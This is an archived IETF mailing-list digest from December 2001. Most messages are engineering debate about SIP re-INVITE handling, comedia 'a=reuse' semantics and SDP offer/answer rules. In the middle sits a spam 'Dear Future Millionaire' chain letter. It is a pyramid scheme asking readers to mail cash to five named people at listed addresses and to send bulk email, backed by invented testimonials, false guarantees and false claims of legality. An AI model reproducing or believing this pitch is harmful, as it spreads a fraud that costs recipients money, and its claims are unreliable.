	for <confctrl@zephyr.isi.edu>; Thu, 6 Dec 2001 08:18:33 -0800 (PST)
Received: from DNIDC02.Dialout.net ([206.183.139.198])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB6GJEg05110
	for <confctrl@ISI.EDU>; Thu, 6 Dec 2001 08:19:16 -0800 (PST)
Received: from dnimail.Dialout.net ([172.17.1.30]) by DNIDC02.Dialout.net with Microsoft SMTPSVC(5.0.2195.3779);
	 Thu, 6 Dec 2001 11:19:00 -0500
content-class: urn:content-classes:message
Subject: RE: [Simple] New I-D on IM transport
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Date: Thu, 6 Dec 2001 11:18:19 -0500
Message-ID: <DCFB33B6D8BCC54B8219D8B90645866E0DB2BD@dnimail.Dialout.net>
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [Simple] New I-D on IM transport
Thread-Index: AcF9wRy23eNyQYG0QxuF16XHIePqvgAr+hAQ
From: "David Yon" <Yon@Dialout.net>
To: "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>,
        "Paul Kyzivat" <pkyzivat@cisco.com>
Cc: <sip@ietf.org>, "Ben Campbell" <bcampbell@dynamicsoft.com>,
        "confctrl@isi.edu" <confctrl@ISI.EDU>
X-OriginalArrivalTime: 06 Dec 2001 16:19:00.0074 (UTC) FILETIME=[B676FCA0:01C17E71]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id IAA29580
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



> -----Original Message-----
> From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com] 
> Sent: Wednesday, December 05, 2001 1:54 PM
> To: 'Paul Kyzivat'; Jonathan Rosenberg
> Cc: 'sip@ietf.org'; Ben Campbell; 'confctrl@isi.edu'
> Subject: RE: [Simple] New I-D on IM transport
> 
> 
> > > > - in a separate mail thread on the comedia draft, we 
> > identified some
> > > > added problems with reinvites and connection oriented 
> > media. In that
> > > > case, what is negotiated in the sdp is used to establish a media
> > > > connection, so it isn't idempotent to subsequent 
> > invitations. There is
> > > > need to indicate in the sdp whether to renegotiate the 
> > connection or
> > > > not. I don't think we ever fully resolved that. But I 
> > believe it is
> > > > important that something in the sdp be changed to 
> > indicate a desire to
> > > > renegotiate the connection. The same kind of scenario 
> > applies here.
> > > 
> > > This is a good point. I think its a pure co-media issue, 
> > though, and that
> > > needs to be addressed in that draft.
> > 
> > Fair enough, as long as the rules you are trying to craft 
> > dovetail with
> > that. It may not be sufficient to simply reinvite with same old SDP;
> > it may be required to do something slightly different on a per-media
> > basis.
> 
> Right; you likely need to use a=reuse. One thing that is missing from
> comedia, though, is what to do if no existing connection 
> exists. This would
> be an issue for the reconstitute draft, since it would send a 
> re-invite with
> a=reuse, which might arrive at a new server that doesn't have 
> a connection.
> Indeed, one might argue that reuse is orthogonal to 
> a=active/passive/both.
> a=reuse would say what to do if the connection exists, the 
> rest would say
> what to do when it doesn't.
> 
>

While I'm not in tune with the full history of this thread, but what you
are saying above is in violation of what is specified in comedia.  An
endpoint may only specify "reuse" when it is signaling its intention to
add a media stream over an existing connection.  If there is no existing
connection, why would an endpoint specify "reuse"?

From confctrl-owner  Thu Dec  6 08:28:56 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA00126
	for confctrl-outgoing; Thu, 6 Dec 2001 08:28:56 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA00119
	for <confctrl@zephyr.isi.edu>; Thu, 6 Dec 2001 08:28:55 -0800 (PST)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB6GTcg09503
	for <confctrl@ISI.EDU>; Thu, 6 Dec 2001 08:29:38 -0800 (PST)
Received: from cannonat.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fB6GTac22662;
	Thu, 6 Dec 2001 11:29:36 -0500 (EST)
Received: from cisco.com (dhcp-161-44-241-140.cisco.com [161.44.241.140])
	by cannonat.cisco.com (Mirapoint)
	with ESMTP id AAF34123 (AUTH pkyzivat);
	Thu, 6 Dec 2001 11:30:52 -0500 (EST)
Message-ID: <3C0F9C1D.6A349F63@cisco.com>
Date: Thu, 06 Dec 2001 11:26:05 -0500
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: "'Flemming Andreasen'" <fandreas@cisco.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        MMUSIC <confctrl@ISI.EDU>
Subject: Re: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
References: <B65B4F8437968F488A01A940B21982BF020D70E8@DYN-EXCH-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:
> 
> This did require the movement of one paragraph from this draft back into
> bis:
> 
> This means that a
> re-{\INVITE} {\MAY} contain no SDP, so that the 200 OK to the
> re-{\INVITE} contains the offer. In this case, the
> offerer {\MUST} offer the same SDP it provided previously. This is to
> ensure that the offered SDP in the 2xx will be acceptable to the UAC,
> as there is no way to reject it.
> 
> This will appear in bis-06.

I think this constraint is too strong. 

Consider:

	A                   B
        |   INVITE(sdp)     |  offers codecs X,Y
        |------------------>|
        |      OK(sdp)      |  accepts X, not Y,
        |<------------------|  would have accepted Z if offered
        |      ACK          |
        |------------------>|
        |   INVITE(no sdp)  |
        |------------------>|
        |      OK(sdp)      |  should be able to offer X,Z
        |<------------------|
        |      ACK (sdp)    |
        |------------------>|

In this standalone case, it probably isn't likely that A will be
interested in Z the second time if it wasn't the first time. But if A is
a B2BUA, it might be preparing to involve another party that is very
interested in Z. 

I believe the rule should be that on reinvites without sdp, the response
should be the same as last time, or a superset of that.

	Paul

From confctrl-owner  Thu Dec  6 08:47:36 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA00895
	for confctrl-outgoing; Thu, 6 Dec 2001 08:47:36 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA00890
	for <confctrl@zephyr.isi.edu>; Thu, 6 Dec 2001 08:47:34 -0800 (PST)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB6GmHg17289
	for <confctrl@ISI.EDU>; Thu, 6 Dec 2001 08:48:18 -0800 (PST)
Received: from cannonat.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fB6Gljc23968;
	Thu, 6 Dec 2001 11:47:45 -0500 (EST)
Received: from cisco.com (dhcp-161-44-241-140.cisco.com [161.44.241.140])
	by cannonat.cisco.com (Mirapoint)
	with ESMTP id AAF34305 (AUTH pkyzivat);
	Thu, 6 Dec 2001 11:49:02 -0500 (EST)
Message-ID: <3C0FA05F.268B1EE2@cisco.com>
Date: Thu, 06 Dec 2001 11:44:15 -0500
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: "'confctrl@isi.edu'" <confctrl@ISI.EDU>, "'sip@ietf.org'" <sip@ietf.org>
Subject: Re: changing of media types allowed in offer/answer and SIP open issue 
 #24
References: <B65B4F8437968F488A01A940B21982BF020D7115@DYN-EXCH-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I think the restriction is silly. 

I don't see why any piece of code that can keep track of the positional
assignments, including media that have been refused, should have any
trouble reusing a previous slot for a new purpose. And changing the
media type in one step is more or less the same thing.

So why not allow those slots to be reused? 
We may yet see applications where there are enough reinvites with
changes in media that recycling of slots is important.

	Paul

Jonathan Rosenberg wrote:
> 
> Folks,
> 
> draft-rosenberg-mmusic-sdp-offer-answer-00.txt currently says:
> 
>  The media type (audio, video, etc.) for a stream MAY be changed. This
>    is particularly useful for changing between voice and fax in a single
>    stream, which are both separate media types. To do this, the offerer
>    creates a new media description, with a new media type, in place of
>    the description in the previous SDP which is to be changed. The IP
>    address and port for the stream MAY change, or MAY remain the same.
>    However, the list of payload type numbers for the new codecs MUST be
>    different than any used previously for this stream.
> 
> This is somewhat linked to the current sip open issue #24 about whether or
> not you can reuse a media stream "slot" which has been previously disabled
> with port=0. After all, changing the media type is really the same, more or
> less, as using a new media stream in place of where an old one was. I think
> leaning of consensus in the sip group was to disallow such reuse (although I
> can't remember at this moment what the reasoning was), and that would argue
> for removing the above capability.
> 
> Comments or thoughts on this?
> 
> -Jonathan R.
> 
> ---
> Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>

From confctrl-owner  Thu Dec  6 10:21:57 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA04525
	for confctrl-outgoing; Thu, 6 Dec 2001 10:21:57 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA04519
	for <confctrl@zephyr.isi.edu>; Thu, 6 Dec 2001 10:21:56 -0800 (PST)
Received: from host217-35-145-48.in-addr.btopenworld.com (host217-35-145-48.in-addr.btopenworld.com [217.35.145.48])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fB6IMbg07220
	for <confctrl@isi.edu>; Thu, 6 Dec 2001 10:22:38 -0800 (PST)
Message-ID: <002f01c17dd0$21706c50$0100a8c0@pcben1>
From: "James Fleet" <JamesFleet51@hotmail.com>
To: <Undisclosed-Recipient:@ISI.EDU;>
Subject: Dear Future Millionaire
Date: Wed, 5 Dec 2001 21:02:20 -0000
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear Future Millionaire:

I'll make you a promise. READ THIS E-MAIL TO THE END!
- follow what it says to the letter - and you will not worry whether a
RECESSION is coming or not, who is President, or whether you keep your
current job or not. Yes, I know what you are thinking. I never responded to
one of these before either. One day though, something just said "you throw
away $25.00 going to a movie for 2 hours with your wife". "What the heck."
Believe me, no matter where you believe "those feelings" come from, I thank
goodness every day that I had that feeling. I cannot imagine where I would
be or what I would be doing had I not. Read on. It's true. Every word of it.
It is legal. I checked.

Simply because you are buying and selling something of value.

AS SEEN ON NATIONAL TV:
Making over half million dollars every 4 to 5 months from your home.

THANK'S TO THE COMPUTER AGE AND THE INTERNET !
==================================================
BE AN INTERNET MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!!

Before you say ''Bull'', please read the following.
This is the letter you have been hearing about on the news lately. Due to
the popularity of this letter on the Internet, a national weekly news
program recently devoted an entire show to the investigation of this program
described below, to see if it really can make people money. The show also
investigated whether or not the program was legal.

Their findings proved once and for all that there are ''absolutely NO Laws
prohibiting the participation in the program and if people can "follow the
simple instruction" they are bound to make some mega bucks with only $25 out
of pocket cost''.

DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT
THIS PROGRAM HAS ATTAINED, IT IS CURRENTLY WORKING
BETTER THAN EVER.

This is what one had to say: "Thanks to this profitable opportunity". I was
approached many times before but each time I passed on it. I am so glad I
finally joined just to see what one could expect in return for the minimal
effort and money required. To my astonishment, I received a total $
610,470.00 in 21 weeks, with money still coming in". Pam Hedland,

Fort Lee, New Jersey.
==================================================
Another said: "this program has been around for a long time but I never
believed in it. But one day when I received this again in the mail I decided
to gamble my $25 on it. I followed the simple instructions and walaa ..... 3
weeks later the money started to come

in. First month I only made $240.00 but the next 2 months after that I made
a total of $290,000.00.
So far, in the past 8 months by re-entering the program, I have made over
$710,000.00 and I am playing it again. The key to success in this program is
to follow the simple steps and NOT change anything." More testimonials later
but first,

==== PRINT THIS NOW FOR YOUR FUTURE REFERENCE ====

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

If you would like to make at least $500,000 every 4 to 5 months easily and
comfortably, please read the following...THEN READ IT AGAIN and AGAIN !!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR FINANCIAL DREAMS WILL COME
TRUE, GUARANTEED!

INSTRUCTIONS:

=====Order all 5 reports shown on the list below=====

For each report, send $5 CASH, THE NAME & NUMBER OF
THE REPORT YOU ARE ORDERING and YOUR E-MAIL ADDRESS
To the person whose name appears ON THAT LIST next to the report.
MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE TOP LEFT CORNER in case of
any mail problems.

===WHEN YOU PLACE YOUR ORDER, MAKE SURE ===
===YOU ORDER EACH OF THE 5 REPORTS! ===
You will need all 5 reports so that you can save them on your computer and
resell them.
YOUR TOTAL COST $5 X 5 = $25.00.

Within a few days you will receive, via e-mail, each of the 5 reports from
these 5 different individuals.

Save them on your computer so they will be accessible for you to send to the
1,000's of people who will order them from you. Also make a floppy of these
reports and keep it on your desk in case something happens to your computer.

IMPORTANT - DO NOT alter the names of the people who are listed next to each
report, or their sequence on the list, in any way other than what is
instructed below in step '' 1 through 6 '' or you will loose out on the
majority of your profits. Once you understand

the way this works, you will also see how it does not work if you change it.
Remember, this method has been tested, and if you alter it, it will NOT work
!!!

People have tried to put their friends/relatives names on all five thinking
they could get all the money.
But it does not work this way. Believe us, some have tried to be greedy and
then nothing happened. So Do Not try to change anything other than what is
instructed. Because if you do, it will not work for you. Remember, honesty
reaps the reward!!!

This IS a legitimate BUSINESS. You are offering a product for sale and
getting paid for it. Treat it as such and you will be VERY profitable in a
short period of time.

1.. After you have ordered all 5 reports, take this advertisement and REMOVE
the name & address of the person in REPORT # 5. This person has made it
through the cycle and is no doubt counting their fortune.

2..Move the name & address in REPORT # 4 down TO REPORT # 5.

3.. Move the name & address in REPORT # 3 down TO REPORT # 4.

4.. Move the name & address in REPORT # 2 down TO REPORT # 3.

5.. Move the name & address in REPORT # 1 down TO REPORT # 2

6.... Insert YOUR name & address in the REPORT # 1 Position.
PLEASE MAKE SURE you copy every name & address
ACCURATELY! This is critical to YOUR success.

==================================================

**** Take this entire letter, with the modified list of names, and save it
on your computer. DO NOT MAKE ANY OTHER CHANGES. ****

Save this on a disk as well just in case if you loose any data. To assist
you with marketing your business on the internet, the 5 reports you purchase
will provide you with invaluable marketing information which includes how to
send bulk e-mails legally, where to find thousands of free classified ads
and much more. There are 2 Primary methods to get this

venture going:

METHOD # 1: BY SENDING BULK E-MAIL LEGALLY
==================================================

Let's say that you decide to start small, just to see how it goes, and we
will assume You and those involved send out only 5,000 e-mails each.

Let's also assume hat the mailing receive only a 0.2% (2/10 of 1%) response
(the esponse could be much better but lets just say it is only 0.2%). Also
many people will send out hundreds of thousands e-mails instead of only
5,000 each). Continuing with this example, you send out only 5,000 e-mails.

With a 0.2% response, that is only 10 orders for report # 1. Those 10 people
responded by sending out 5,000 e-mail each for a total of 50,000. Out of
those 50,000 e-mails only 0.2% responded with orders.

That's=100 people responded and ordered Report # 2.

Those 100 people mail out 5,000 e-mails each for a total of 500,000 e-mails.
The 0.2% response to that is 1000 orders for Report # 3.

Those 1000 people send 5,000 e-mail each for a total of 5 million e-mail
sent out. The 0.2% response is 10,000 orders for Report # 4.

Those 10,000 people send out 5,000 e-mails each for a total of 50,000,000
(50 million) e-mails. The 0.2% response to that is 100,000 orders for Report
# 5.

THAT'S 100,000 ORDERS TIMES $5 EACH = $500,000.00 (half a million dollars).

Your total income in this example is: 1..... $50 + 2..... $500 + 3.....
$5,000 + 4..... $50,000 + 5.... $500,000 .... Grand Total=$555,550.00

NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE OUT THE WORST POSSIBLE
RESPONSES AND NO MATTER HOW YOU CALCULATE IT, YOU WILL STILL MAKE A LOT OF
MONEY!

==================================================

REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE ORDERING OUT OF 5,000 YOU
MAILED TO. Dare to think for a moment what would happen if everyone or half
or even one 4th of those people mailed 100,000 e-mails each or more? There
are over 150 million people on the Internet worldwide and counting, with
housands more coming on line every day. Believe me, many people will do just
that, and more!

METHOD # 2: BY PLACING FREE ADS ON THE INTERNET
==================================================

Advertising on the net is very, very inexpensive and there are hundreds of
FREE places to advertise. Placing a lot of free ads on the Internet will
easily get a larger response. We strongly suggest you start with Method # 1
and add METHOD #2 as you go along. For every $5 you receive, all you must do
is e-mail them the Report they ordered. That's it.

Always provide same day service on all orders. This will guarantee that the
e-mail they send out, with your name and address on it, will be prompt
because they can not advertise until they receive the report.

===========AVAILABLE REPORTS ====================
The reason for the "cash" is not because this is illegal or somehow "wrong".
It is simply about time.
Time for checks or credit cards to be cleared or  approved, etc. Concealing
it is simply so no one can SEE there is money in the envelope and steal it
before it gets to you.

ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes:
Always send $5 cash (U.S. CURRENCY) for each Report.
Checks NOT accepted. Make sure the cash is concealed
by wrapping it in at least 2 sheets of paper. On one of those sheets of
paper,
Write the NUMBER & the NAME of the Report you are ordering,
YOUR E-MAIL ADDRESS
and your name and postal address.

SO PLACE YOUR ORDER FOR THESE REPORTS NOW :
==================================================
REPORT# 1: 'The Insider's Guide To Advertising for Free On The Net'

Order Report #1 from:

James Fleet
PO BOX 667
Crawley, RH10 7DR
ENGLAND

_______________________________________________________
REPORT # 2: 'The Insider's Guide To Sending Bulk Email On The Net '

Order Report # 2 from:

Johnny Chang
PO Box 6385
Irvine, CA 92616
USA
_______________________________________________________
REPORT # 3: 'Secret To Multilevel Marketing On The Net'

Order Report # 3 from:

Susan L. King
2557 La Salle Pointe
Chino Hills, CA 91709
USA

______________________________________________________
REPORT # 4: 'How To Become A Millionaire Using MLM & The Net'

Order Report # 4 from:

Scott Katip
3110 5th Ave
Beaver Falls, Pa 15010
USA

_______________________________________________________
REPORT #5: 'How To Send Out One Million Emails For Free'

Order Report # 5 From:

Chris Rhodes
7915 Kleingreen
Spring, Tx 77379
USA

_____________________________________________________

$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$

Follow these guidelines to guarantee your success:

=== If you do not receive at least 10 orders for Report #1 within 2 weeks,
continue sending e-mails until you do.

=== After you have received 10 orders, 2 to 3 weeks after that you should
receive 100 orders or more for REPORT # 2. If you did not, continue
advertising or sending e-mails until you do.

**Once you have received 100 or more orders for Report # 2, YOU CAN RELAX,
because the system is already working for you, and the cash will continue to
roll in!

THIS IS IMPORTANT TO REMEMBER: Every time your name is moved down on the
list, you are placed in front of a Different report.

You can KEEP TRACK of your PROGRESS by watching which report people are
ordering from you.
IF YOU WANT TO GENERATE MORE INCOME SEND ANOTHER BATCH OF E-MAILS AND START
THE WHOLE PROCESS AGAIN. There is NO LIMIT to the income you can generate
from this business!!!

=================================================

FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS PROGRAM:
You have just received information that can give you financial freedom for
the rest of your life, with NO RISK and JUST A LITTLE BIT OF EFFORT. You can
make more money in the next few weeks and months than you have ever
imagined. Follow the program EXACTLY AS INSTRUCTED. Do Not change it in any
way. It works

exceedingly well as it is now. Remember to e-mail a copy of this exciting
report after you have put your name and address in Report #1 and moved
others to #2 .....# 5 as instructed above. One of the people you send this
to may send out 100,000 or more e-mails and

your name will be on every one of them. Remember though, the more you send
out the more potential customers you will reach. So my friend, I have given
you the ideas, information, materials and opportunity to become financially
independent.

IT IS UP TO U NOW!

=============MORE TESTIMONIALS===============
"My name is Mitchell. My wife, Jody and I live in Chicago. I am an
accountant with a major U.S. Corporation and I make pretty good money. When
I received this program I grumbled to Jody about receiving 'junk mail'. I
made fun of the whole thing, spouting my knowledge of the population and
percentages involved. I 'knew' it wouldn't work. Jody

totally ignored my supposed intelligence and few days later she jumped in
with both feet. I made merciless fun of her, and was ready to lay the old 'I
told you so' on her when the thing didn't work. Well, the laugh was on me!
Within 3 weeks she had received 50 responses. Within the next 45 days she
had received total $ 147,200.00 ........ all cash! I was shocked. I have
joined Jodyin her 'hobby'."

Mitchell Wolf M.D.,
Chicago, Illinois
================================================

"Not being the gambling type, it took me several weeks to make up my mind to
participate in this plan. But conservative as I am, I decided that the
initial investment was so little that there was just no way that I wouldn't
get enough orders to at least get my

money back. I was surprised when I found my medium size post office box
crammed with orders. I made $319,210.00 in the first 12 weeks. The nice
thing about this deal is that it does not matter where people live. There
simply isn't a better investment with a faster return and so big".

Dan Sondstrom,
Alberta, Canada
=================================================

"I had received this program before. I deleted it, but later I wondered if I
should have given it a try. Of course, I had no idea who to contact to get
another copy, so I had to wait until I was e-mailed again by someone
else.........11 months passed then it luckily came again...... I did not
delete this one! I made more than $490,000 on my first try and all the money
came within 22 weeks".

Susan De Suza,
New York, N.Y.
=================================================

"It really is a great opportunity to make relatively easy money with little
cost to you. I followed the simple instructions carefully and within 10 days
the money started to come in. My first month I made $20, 560.00 and by the
end of third month my total cash count was $ 362,840.00. Life is beautiful,
Thanx to internet".

Fred Dellaca,
Westport, New Zealand
=================================================

ORDER YOUR REPORTS TODAY AND GET STARTED ON YOUR ROAD TO FINANCIAL FREEDOM !

If you have any questions regarding this great deal please email me at
JamesFleet51@hotmail.com
If you wish to be removed from the mailing list please send an email to
JamesFleet51@hotmail.com with the word REMOVE in the subject line.

=================================================

If you have any questions of the legality of this program, contact the

Office of Associate Director for Marketing Practices, Federal Trade
Commission,
Bureau of Consumer Protection, Washington, D.C.

=================================================

ONE TIME MAILING, NO NEED TO REMOVE

=================================================

This message is sent in compliance of the proposed bill SECTION 301,
paragraph (a)(2)(C) of S. 1618.
further transmission to you by the sender of this email may be stopped at no
cost to you by sending a reply to: JamesFleet51@hotmail.com with the word
REMOVE in the subject line.

This message is not intended for residents in the State of Washington,
screening of addresses has been done to the best of our technical ability.

Once again, If you have any questions, feel free to contact me at
JamesFleet51@hotmail.com


From confctrl-owner  Thu Dec  6 12:53:35 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA09964
	for confctrl-outgoing; Thu, 6 Dec 2001 12:53:35 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA09959
	for <confctrl@zephyr.isi.edu>; Thu, 6 Dec 2001 12:53:34 -0800 (PST)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB6KsHg18877
	for <confctrl@isi.edu>; Thu, 6 Dec 2001 12:54:17 -0800 (PST)
Received: from cannonat.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fB6KsFc09556;
	Thu, 6 Dec 2001 15:54:15 -0500 (EST)
Received: from cisco.com (dhcp-161-44-241-140.cisco.com [161.44.241.140])
	by cannonat.cisco.com (Mirapoint)
	with ESMTP id AAF36513 (AUTH pkyzivat);
	Thu, 6 Dec 2001 15:55:33 -0500 (EST)
Message-ID: <3C0FDA25.989C4CBE@cisco.com>
Date: Thu, 06 Dec 2001 15:50:45 -0500
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: "'sip@ietf.org'" <sip@ietf.org>, Ben Campbell <bcampbell@dynamicsoft.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: [Simple] New I-D on IM transport
References: <B65B4F8437968F488A01A940B21982BF020D711D@DYN-EXCH-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

While I think this is a more general problem, I can't at the moment
offer any proof of this. So, I am willing to go along with a solution
within comedia since it is the only place I can point to that has the
problem.

David says that a=reuse isn't suitable for solving this problem.
I will go a bit further and say that I don't think a=reuse is
quite right in general. The problem with it is that it isn't
idempotent - I can't send the same sdp in a reinvite and get
unchanged behavior.

Instead, I think it works better if a reinvite with identical
sdp for a particular comedia media description automatically means
to preserve an existing connection, with some sort of change in
the sdp for that media description required to force establishment
of a new connection. This could be an extension to sdp to permit
o= to be used within a media description, or it could be a new
a= line containing something like a media description version.

More below.

	Paul

David Yon wrote:
> 
> While I'm not in tune with the full history of this thread, but what you
> are saying above is in violation of what is specified in comedia.  An
> endpoint may only specify "reuse" when it is signaling its intention to
> add a media stream over an existing connection.  If there is no existing
> connection, why would an endpoint specify "reuse"?


Jonathan Rosenberg wrote:
> 
> (cc'ing mmusic since there is a comedia issue in here, and trimming simple)
> 
> 
> > -----Original Message-----
> > From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> > Sent: Thursday, November 29, 2001 3:01 PM
> > To: Jonathan Rosenberg
> > Cc: 'sip@ietf.org'; Ben Campbell; simple@mailman.dynamicsoft.com
> > Subject: Re: [Simple] New I-D on IM transport
> >
> >
> > > > - what if there is no problem with signalling but there
> > is a problem
> > > > with the media stream? Then the reinvite will reach the original
> > > > endpoint rather than a backup. It will not be able to
> > distinguish this
> > > > reinvite from one for some other purpose, like session timer
> > > > refresh. It
> > > > will note that the sdp has not changed, and may choose to
> > > > simply return
> > > > the last sdp it sent. (This could happen if the sip and media
> > > > travel on
> > > > different network connections to the same host, or if the
> > > > media is on a
> > > > separate device with its own network connection.)
> > >
> > > I guess this seems to me to be the right behavior. What
> > would you want to
> > > happen in this case?
> >
> > Doing nothing in response to the problem seems wrong to me.
> > But clearly it is difficult to figure out the right thing to do.
> > Possible actions:
> > - switch to a different port. See if that helps.
> > - switch to a different media server, if it is independent of the
> >   sip UA itself
> > - record the fact that a caller reinvited because of presumed media
> >   problems at this end. Eventually an accumulation of these might lead
> >   to taking this box out of service.
> 
> The assumption in the reconstitute draft is that a re-invite is generally
> only going to be useful to fix the problem where a UA failed, and thus we
> need to reconstruct state at a backup. If its a network problem, its not
> clear to me that changing ports or servers will fix those problems. Indeed,
> one might argue that if there is a network problem, the SIP messaging is not
> likely to get through either...

There are more cases than this. The UA may itself have components on
multiple nodes. (You have addressed the 3pcc/b2bua case but there may
well be others, such as sip gateways to h.323.) Or on a single node some
communications may work and others not - such as when a device has
multiple network adapters.

The cases where the sip signalling still works at the original node are
the messy ones, because then the receiving device can't tell the
difference between a reinvite because of errors, and a reinvite for
other reasons. 

> 
> > > > - in a separate mail thread on the comedia draft, we
> > identified some
> > > > added problems with reinvites and connection oriented
> > media. In that
> > > > case, what is negotiated in the sdp is used to establish a media
> > > > connection, so it isn't idempotent to subsequent
> > invitations. There is
> > > > need to indicate in the sdp whether to renegotiate the
> > connection or
> > > > not. I don't think we ever fully resolved that. But I
> > believe it is
> > > > important that something in the sdp be changed to
> > indicate a desire to
> > > > renegotiate the connection. The same kind of scenario
> > applies here.
> > >
> > > This is a good point. I think its a pure co-media issue,
> > though, and that
> > > needs to be addressed in that draft.
> >
> > Fair enough, as long as the rules you are trying to craft
> > dovetail with
> > that. It may not be sufficient to simply reinvite with same old SDP;
> > it may be required to do something slightly different on a per-media
> > basis.
> 
> Right; you likely need to use a=reuse. One thing that is missing from
> comedia, though, is what to do if no existing connection exists. This would
> be an issue for the reconstitute draft, since it would send a re-invite with
> a=reuse, which might arrive at a new server that doesn't have a connection.
> Indeed, one might argue that reuse is orthogonal to a=active/passive/both.
> a=reuse would say what to do if the connection exists, the rest would say
> what to do when it doesn't.

This is partly solved by having version information in the session
description.
If the version is different then a new connection must be established,
whether
or not there is an old one. In the case of a new server picking up the
call,
any version would be a new one.

> 
> >
> > > > All of these issues suggest to me that some explicit
> > information needs
> > > > to be conveyed indicating what is being attempted. Part of
> > > > this might be
> > > > a Reason header indicating that the reinvite is being
> > sent to recover
> > > > from a perceived problem.
> > >
> > > I'm still not convinced, so long as the comedia issue is handled.
> >
> > You may be right, but I have the feeling the problem is bigger than
> > just comedia. Reinvites can be sent for many reasons, and errors can
> > show their symptoms in many ways. The assumption you are
> > making is that
> > the reinvite will always induce another problem,
> 
> induce another problem? No - the reinvite would get routed to another box
> that is up.

I meant to include that. I meant that the problem that first showed up
as a media problem will also manifest itself in sip signalling. For
instance, routing the new invitation to an alternate server box because
the one used previously no longer responds.

	Paul

